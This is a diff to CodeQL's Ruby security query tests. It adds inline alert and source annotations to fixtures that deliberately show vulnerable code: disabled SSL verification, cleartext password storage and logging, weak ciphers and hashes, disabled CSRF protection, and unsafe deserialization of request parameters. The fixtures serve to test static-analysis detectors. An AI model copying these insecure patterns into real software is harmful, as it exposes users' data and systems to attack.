a/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb b/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb index aed601cf8889..82f91da4d920 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb @@ -1,11 +1,11 @@ require "typhoeus" # BAD -Typhoeus.get("https://www.example.com", ssl_verifypeer: false) +Typhoeus.get("https://www.example.com", ssl_verifypeer: false) # $ Alert # BAD post_options = { body: "some data", ssl_verifypeer: false } -Typhoeus.post("https://www.example.com", post_options) +Typhoeus.post("https://www.example.com", post_options) # $ Alert # GOOD Typhoeus.get("https://www.example.com") \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref b/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref index 4a8ed809dfc6..eb4d8d767b30 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref +++ b/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref @@ -1 +1,2 @@ -queries/security/cwe-312/CleartextLogging.ql \ No newline at end of file +query: queries/security/cwe-312/CleartextLogging.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref b/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref index 051d588b7010..903a20fe574c 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref +++ b/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref @@ -1 +1,2 @@ -queries/security/cwe-312/CleartextStorage.ql \ No newline at end of file +query: queries/security/cwe-312/CleartextStorage.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb index 806b51096659..ae277596cfef 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb @@ -1,47 +1,47 @@ class UsersController < ApplicationController def createLikeCall - new_password = "043697b96909e03ca907599d6420555f" + new_password = "043697b96909e03ca907599d6420555f" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.create(name: "U1", password: new_password) + User.create(name: "U1", password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.create({ name: "U1", password: new_password }) + User.create({ name: "U1", password: new_password }) # $ Alert[rb/clear-text-storage-sensitive-data] end def updateLikeClassMethodCall - new_password = "083c9e1da4cc0c2f5480bb4dbe6ff141" + new_password = "083c9e1da4cc0c2f5480bb4dbe6ff141" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.update(1, name: "U1", password: new_password) + User.update(1, name: "U1", password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.update([1, 2], [{name: "U1", password: new_password}, {name: "U2", password: new_password}]) + User.update([1, 2], [{name: "U1", password: new_password}, {name: "U2", password: new_password}]) # $ Alert[rb/clear-text-storage-sensitive-data] end def insertAllLikeCall - new_password = "504d224a806cf8073cd14ef08242d422" + new_password = "504d224a806cf8073cd14ef08242d422" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.insert_all([{name: "U1", password: new_password}, {name: "U2", password: new_password}]) + User.insert_all([{name: "U1", password: new_password}, {name: "U2", password: new_password}]) # $ Alert[rb/clear-text-storage-sensitive-data] end def updateLikeInstanceMethodCall user = User.find(1) - new_password = "7d6ae08394c3f284506dca70f05995f6" + new_password = "7d6ae08394c3f284506dca70f05995f6" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - user.update(password: new_password) + user.update(password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - user.update({password: new_password}) + user.update({password: new_password}) # $ Alert[rb/clear-text-storage-sensitive-data] end def updateAttributeCall user = User.find(1) - new_password = "ff295f8648a406c37fbe378377320e4c" + new_password = "ff295f8648a406c37fbe378377320e4c" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - user.update_attribute("password", new_password) + user.update_attribute("password", new_password) # $ Alert[rb/clear-text-storage-sensitive-data] end def assignAttributeCall user = User.find(1) - new_password = "78ffbec583b546bd073efd898f833184" + new_password = "78ffbec583b546bd073efd898f833184" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password assigned to database field - user.password = new_password + user.password = new_password # $ Alert[rb/clear-text-storage-sensitive-data] user.save end @@ -55,13 +55,13 @@ def hashedPasswordAssign end def fileWrites - new_password = "0157af7c38cbdd24f1616de4e5321861" + new_password = "0157af7c38cbdd24f1616de4e5321861" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to disk - IO.write("foo.txt", "password: #{new_password}\n") + IO.write("foo.txt", "password: #{new_password}\n") # $ Alert[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to disk - File.new("bar.txt", "a").puts("password: #{new_password}") + File.new("bar.txt", "a").puts("password: #{new_password}") # $ Alert[rb/clear-text-storage-sensitive-data] end def randomPasswordAssign @@ -76,15 +76,15 @@ def test info = [ { name: "U1", - password: "aaaaaaaaaa", - credit_card_number: "0000-0000-0000-0000", - SSN: "000-00-00000" + password: "aaaaaaaaaa", # $ Source[rb/clear-text-storage-sensitive-data] + credit_card_number: "0000-0000-0000-0000", # $ Source[rb/clear-text-storage-sensitive-data] + SSN: "000-00-00000" # $ Source[rb/clear-text-storage-sensitive-data] }, - {name: "U2", password: "bbbbbbb"} + {name: "U2", password: "bbbbbbb"} # $ Source[rb/clear-text-storage-sensitive-data] ] info.each do |inf| # BAD: Plaintext password, SSN, and CCN stored to database. - User.create!(inf) + User.create!(inf) # $ Alert[rb/clear-text-storage-sensitive-data] end end end diff --git a/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb b/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb index 09d1866424a3..7b5943e641c3 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb +++ b/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb @@ -1,20 +1,20 @@ class User < ActiveRecord::Base def set_password_1 - new_password = "06c38c6a8a9c11a9d3b209a3193047b4" + new_password = "06c38c6a8a9c11a9d3b209a3193047b4" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: directly storing a potential cleartext password to a field - self.update(password: new_password) + self.update(password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] end def set_password_2 - new_password = "52652fb5c709fb6b9b5a0194af7c6067" + new_password = "52652fb5c709fb6b9b5a0194af7c6067" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: directly storing a potential cleartext password to a field - update(password: new_password) + update(password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] end def set_password_3 - new_password = "f982bf2531c149a8a1444a951b12e830" + new_password = "f982bf2531c149a8a1444a951b12e830" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: directly assigning a potential cleartext password to a field - self.password = new_password + self.password = new_password # $ Alert[rb/clear-text-storage-sensitive-data] self.save end end diff --git a/ruby/ql/test/query-tests/security/cwe-312/logging.rb b/ruby/ql/test/query-tests/security/cwe-312/logging.rb index 26b148f33c26..03b21b3625c2 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/logging.rb +++ b/ruby/ql/test/query-tests/security/cwe-312/logging.rb @@ -1,45 +1,45 @@ stdout_logger = Logger.new STDOUT -password = "043697b96909e03ca907599d6420555f" +password = "043697b96909e03ca907599d6420555f" # $ Source[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.info password +stdout_logger.info password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.debug password +stdout_logger.debug password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.error password +stdout_logger.error password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.fatal password +stdout_logger.fatal password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.unknown password +stdout_logger.unknown password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.warn password +stdout_logger.warn password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.add Logger::WARN, password +stdout_logger.add Logger::WARN, password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.add Logger::WARN, "message", password +stdout_logger.add Logger::WARN, "message", password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.log Logger::WARN, password +stdout_logger.log Logger::WARN, password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger << "pw: #{password}" +stdout_logger << "pw: #{password}" # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: sensitive data in the progname will taint subsequent logging calls -stdout_logger.progname = password +stdout_logger.progname = password # $ Alert[rb/clear-text-logging-sensitive-data] -hsh1 = { password: "aec5058e61f7f122998b1a30ee2c66b6" } +hsh1 = { password: "aec5058e61f7f122998b1a30ee2c66b6" } # $ Source[rb/clear-text-logging-sensitive-data] hsh2 = {} # GOOD: no backwards flow stdout_logger.info hsh2[:password] -hsh2[:password] = "beeda625d7306b45784d91ea0336e201" +hsh2[:password] = "beeda625d7306b45784d91ea0336e201" # $ Source[rb/clear-text-logging-sensitive-data] hsh3 = hsh2 # BAD: password logged as plaintext -stdout_logger.info hsh1[:password] +stdout_logger.info hsh1[:password] # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.info hsh2[:password] +stdout_logger.info hsh2[:password] # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.info hsh3[:password] +stdout_logger.info hsh3[:password] # $ Alert[rb/clear-text-logging-sensitive-data] # GOOD: not a password stdout_logger.info hsh1[:foo] @@ -61,30 +61,30 @@ # GOOD: password is effectively masked before logging stdout_logger.info password_masked_gsub_ex -password_masked_ineffective_sub = "ca497451f5e883662fb1a37bc9ec7838" -password_masked_ineffective_sub_ex = "ca497451f5e883662fb1a37bc9ec7838" -password_masked_ineffective_gsub = "a7e3747b19930d4f4b8181047194832f" -password_masked_ineffective_gsub_ex = "a7e3747b19930d4f4b8181047194832f" -password_masked_ineffective_sub = password_masked_ineffective_sub.sub(/./, "[password]") +password_masked_ineffective_sub = "ca497451f5e883662fb1a37bc9ec7838" # $ Source[rb/clear-text-logging-sensitive-data] +password_masked_ineffective_sub_ex = "ca497451f5e883662fb1a37bc9ec7838" # $ Source[rb/clear-text-logging-sensitive-data] +password_masked_ineffective_gsub = "a7e3747b19930d4f4b8181047194832f" # $ Source[rb/clear-text-logging-sensitive-data] +password_masked_ineffective_gsub_ex = "a7e3747b19930d4f4b8181047194832f" # $ Source[rb/clear-text-logging-sensitive-data] +password_masked_ineffective_sub = password_masked_ineffective_sub.sub(/./, "[password]") # $ Source[rb/clear-text-logging-sensitive-data] password_masked_ineffective_sub_ex.sub!(/./, "[password]") -password_masked_ineffective_gsub = password_masked_ineffective_gsub.gsub(/[A-Z]/, "*") +password_masked_ineffective_gsub = password_masked_ineffective_gsub.gsub(/[A-Z]/, "*") # $ Source[rb/clear-text-logging-sensitive-data] password_masked_ineffective_gsub_ex.gsub!(/[A-Z]/, "*") # BAD: password masked ineffectively -stdout_logger.info password_masked_ineffective_sub +stdout_logger.info password_masked_ineffective_sub # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password masked ineffectively -stdout_logger.info password_masked_ineffective_gsub +stdout_logger.info password_masked_ineffective_gsub # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password masked ineffectively -stdout_logger.info password_masked_ineffective_sub_ex +stdout_logger.info password_masked_ineffective_sub_ex # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password masked ineffectively -stdout_logger.info password_masked_ineffective_gsub_ex +stdout_logger.info password_masked_ineffective_gsub_ex # $ Alert[rb/clear-text-logging-sensitive-data] def foo(password, logger) # BAD: password logged as plaintext - logger.info password + logger.info password # $ Alert[rb/clear-text-logging-sensitive-data] end -password_arg = "65f2950df2f0e2c38d7ba2ccca767291" +password_arg = "65f2950df2f0e2c38d7ba2ccca767291" # $ Source[rb/clear-text-logging-sensitive-data] foo(password_arg, stdout_logger) foo("65f2950df2f0e2c38d7ba2ccca767292", stdout_logger) diff --git a/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref b/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref index e1c31fb2d584..92b721c8549e 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref +++ b/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref @@ -1 +1,2 @@ -queries/security/cwe-327/BrokenCryptoAlgorithm.ql \ No newline at end of file +query: queries/security/cwe-327/BrokenCryptoAlgorithm.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref b/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref index dcb5a4e62a7e..b4891bf7bcab 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref +++ b/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref @@ -1 +1,2 @@ -queries/security/cwe-327/WeakSensitiveDataHashing.ql \ No newline at end of file +query: queries/security/cwe-327/WeakSensitiveDataHashing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb b/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb index 69dcd6b472bb..a9965a250f00 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb +++ b/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb @@ -1,19 +1,19 @@ require 'openssl' # BAD: creating a cipher using a weak scheme -weak = OpenSSL::Cipher.new('des3') +weak = OpenSSL::Cipher.new('des3') # $ Alert[rb/weak-cryptographic-algorithm] weak.encrypt weak.random_key # BAD: encrypting data using a weak cipher -weak.update('foo') +weak.update('foo') # $ Alert[rb/weak-cryptographic-algorithm] weak.final # BAD: creating a cipher using a weak block mode -weak = OpenSSL::Cipher::AES.new(128, 'ecb') +weak = OpenSSL::Cipher::AES.new(128, 'ecb') # $ Alert[rb/weak-cryptographic-algorithm] weak.encrypt weak.random_key # BAD: encrypting data using a weak block mode -weak.update('foo') +weak.update('foo') # $ Alert[rb/weak-cryptographic-algorithm] weak.final # GOOD: creating a cipher using a strong scheme @@ -25,7 +25,7 @@ strong.final # BAD: weak block mode -OpenSSL::Cipher::AES.new(128, :ecb) +OpenSSL::Cipher::AES.new(128, :ecb) # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::AES.new(128, 'cbc') # GOOD: strong encryption algorithm @@ -34,49 +34,49 @@ # GOOD: strong encryption algorithm OpenSSL::Cipher::AES128.new # BAD: weak block mode -OpenSSL::Cipher::AES128.new 'ecb' +OpenSSL::Cipher::AES128.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::AES192.new # BAD: weak block mode -OpenSSL::Cipher::AES192.new 'ecb' +OpenSSL::Cipher::AES192.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::AES256.new # BAD: weak block mode -OpenSSL::Cipher::AES256.new 'ecb' +OpenSSL::Cipher::AES256.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::BF.new # BAD: weak block mode -OpenSSL::Cipher::BF.new 'ecb' +OpenSSL::Cipher::BF.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::CAST5.new # BAD: weak block mode -OpenSSL::Cipher::CAST5.new 'ecb' +OpenSSL::Cipher::CAST5.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::DES.new +OpenSSL::Cipher::DES.new # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::DES.new 'cbc' +OpenSSL::Cipher::DES.new 'cbc' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::IDEA.new # BAD: weak block mode -OpenSSL::Cipher::IDEA.new 'ecb' +OpenSSL::Cipher::IDEA.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC2.new +OpenSSL::Cipher::RC2.new # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC2.new 'ecb' +OpenSSL::Cipher::RC2.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC4.new +OpenSSL::Cipher::RC4.new # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC4.new '40' +OpenSSL::Cipher::RC4.new '40' # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC4.new 'hmac-md5' +OpenSSL::Cipher::RC4.new 'hmac-md5' # $ Alert[rb/weak-cryptographic-algorithm] Digest::MD5.hexdigest('foo') # OK: don't report hash algorithm even if it is weak Digest::SHA256.hexdigest('foo') # GOOD: strong hash algorithm diff --git a/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb b/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb index cff4263c40d8..e1d5eb2645a1 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb +++ b/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb @@ -1,16 +1,16 @@ require 'openssl' -password = "abcde" -username = "some_user" +password = "abcde" # $ Source[rb/weak-sensitive-data-hashing] +username = "some_user" # $ Source[rb/weak-sensitive-data-hashing] some_data = "foo" x = password Digest::MD5.hexdigest(some_data) # OK: input is not sensitive Digest::SHA256.hexdigest(password) # OK: strong hash algorithm -Digest::MD5.hexdigest(password) # BAD: weak hash function used for sensitive data -OpenSSL::Digest.digest('SHA1', password) # BAD: weak hash function used for sensitive data -Digest::MD5.hexdigest(username) # BAD: weak hash function used for sensitive data -Digest::MD5.hexdigest(x) # BAD: weak hash function used for sensitive data +Digest::MD5.hexdigest(password) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] +OpenSSL::Digest.digest('SHA1', password) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] +Digest::MD5.hexdigest(username) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] +Digest::MD5.hexdigest(x) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] def get_safe_data() return "hello" @@ -21,13 +21,13 @@ def get_password() end Digest::MD5.hexdigest(get_safe_data()) # OK: input is not sensitive -Digest::MD5.hexdigest(get_password()) # BAD: weak hash function used for sensitive data +Digest::MD5.hexdigest(get_password()) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] some_hash = {password: "changeme", foo: "bar"} Digest::MD5.hexdigest(some_hash[:foo]) # OK: input is not sensitive -Digest::MD5.hexdigest(some_hash[:password]) # BAD: weak hash function used for sensitive data +Digest::MD5.hexdigest(some_hash[:password]) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] -def a_method(safe_data, password_param) +def a_method(safe_data, password_param) # $ Source[rb/weak-sensitive-data-hashing] Digest::MD5.hexdigest(safe_data) # OK: input is not sensitive - Digest::MD5.hexdigest(password_param) # BAD: weak hash function used for sensitive data + Digest::MD5.hexdigest(password_param) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] end diff --git a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref index 5dc5050b63e8..7e422be7bf57 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref +++ b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref @@ -1 +1,2 @@ -queries/security/cwe-352/CSRFProtectionDisabled.ql \ No newline at end of file +query: queries/security/cwe-352/CSRFProtectionDisabled.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref index 8e9e894fe518..a47a9b3e99a4 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref +++ b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref @@ -1 +1,2 @@ -queries/security/cwe-352/CSRFProtectionNotEnabled.ql \ No newline at end of file +query: queries/security/cwe-352/CSRFProtectionNotEnabled.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb index 8cbf31529c15..fffa5f05db64 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb @@ -1,3 +1,3 @@ class AlternativeRootController < ActionController::Base # BAD: no protect_from_forgery call -end \ No newline at end of file +end # $ Alert[rb/csrf-protection-not-enabled] \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb index 6ff599938e81..0d98c535a41b 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb @@ -2,7 +2,7 @@ class ApplicationController < ActionController::Base # BAD: `protect_from_forgery` without `with: :exception` can expose an # application to CSRF attacks in some circumstances - protect_from_forgery + protect_from_forgery # $ Alert[rb/csrf-protection-disabled] before_action authz_guard diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb index 596a7b0108ff..1b54c332cd27 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb @@ -1,7 +1,7 @@ class UsersController < ApplicationController # BAD: Disabling forgery protection may open the application to CSRF attacks - skip_before_action :verify_authenticity_token + skip_before_action :verify_authenticity_token # $ Alert[rb/csrf-protection-disabled] def change_email user = current_user diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb index 02b349a16304..5d455ebe347a 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb @@ -13,6 +13,6 @@ class Application < Rails::Application config.load_defaults 5.1 # BAD: Disabling forgery protection may open the application to CSRF attacks - config.action_controller.allow_forgery_protection = false + config.action_controller.allow_forgery_protection = false # $ Alert[rb/csrf-protection-disabled] end end diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb index a61bc6382b6f..968227d5e330 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb @@ -2,5 +2,5 @@ # Settings specified here will take precedence over those in config/application.rb. # GOOD: disabling CSRF protection in the development environment should not be flagged - config.action_controller.allow_forgery_protection = false + config.action_controller.allow_forgery_protection = false # $ Alert[rb/csrf-protection-disabled] end diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb index 1a80e8503a60..384097fccf05 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb @@ -2,5 +2,5 @@ # Settings specified here will take precedence over those in config/application.rb. # BAD: Disabling forgery protection may open the application to CSRF attacks - config.action_controller.allow_forgery_protection = false + config.action_controller.allow_forgery_protection = false # $ Alert[rb/csrf-protection-disabled] end diff --git a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb index 3ec21d778c15..ffaa4107231b 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb +++ b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb @@ -10,7 +10,7 @@ def route0 # BAD - the safe mode set globally is overridden with an unsafe mode passed as # a call argument def route1 - json_data = params[:key] - object = Oj.load json_data, mode: :object + json_data = params[:key] # $ Source + object = Oj.load json_data, mode: :object # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref index 55f7c440b46e..12e3c7a9b6ca 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref @@ -1 +1,2 @@ -queries/security/cwe-502/UnsafeDeserialization.ql +query: queries/security/cwe-502/UnsafeDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb index 02adc167dab1..d43d9cb9173c 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb +++ b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb @@ -3,8 +3,8 @@ class UsersController < ActionController::Base # BAD - Ox.load is unsafe when the mode :object is set globally def route0 - xml_data = params[:key] - object = Ox.load xml_data + xml_data = params[:key] # $ Source + object = Ox.load xml_data # $ Alert end # GOOD - the unsafe mode set globally is overridden with an insecure mode passed as diff --git a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref index 55f7c440b46e..12e3c7a9b6ca 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref @@ -1 +1,2 @@ -queries/security/cwe-502/UnsafeDeserialization.ql +query: queries/security/cwe-502/UnsafeDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref index 55f7c440b46e..12e3c7a9b6ca 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref @@ -1 +1,2 @@ -queries/security/cwe-502/UnsafeDeserialization.ql +query: queries/security/cwe-502/UnsafeDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb index 633a99c14fbb..b019bc0cb0e0 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb +++ b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb @@ -8,26 +8,26 @@ class UsersController < ActionController::Base # BAD def route0 - serialized_data = Base64.decode64 params[:key] - object = Marshal.load serialized_data + serialized_data = Base64.decode64 params[:key] # $ Source + object = Marshal.load serialized_data # $ Alert end # BAD def route1 - serialized_data = Base64.decode64 params[:key] - object = Marshal.restore serialized_data + serialized_data = Base64.decode64 params[:key] # $ Source + object = Marshal.restore serialized_data # $ Alert end # BAD def route2 - json_data = params[:key] - object = JSON.load json_data + json_data = params[:key] # $ Source + object = JSON.load json_data # $ Alert end # BAD def route3 - json_data = params[:key] - object = JSON.restore json_data + json_data = params[:key] # $ Source + object = JSON.restore json_data # $ Alert end # GOOD - JSON.parse is safe to use on untrusted data @@ -38,8 +38,8 @@ def route4 # BAD def route5 - yaml_data = params[:key] - object = YAML.load yaml_data + yaml_data = params[:key] # $ Source + object = YAML.load yaml_data # $ Alert end # GOOD @@ -50,14 +50,14 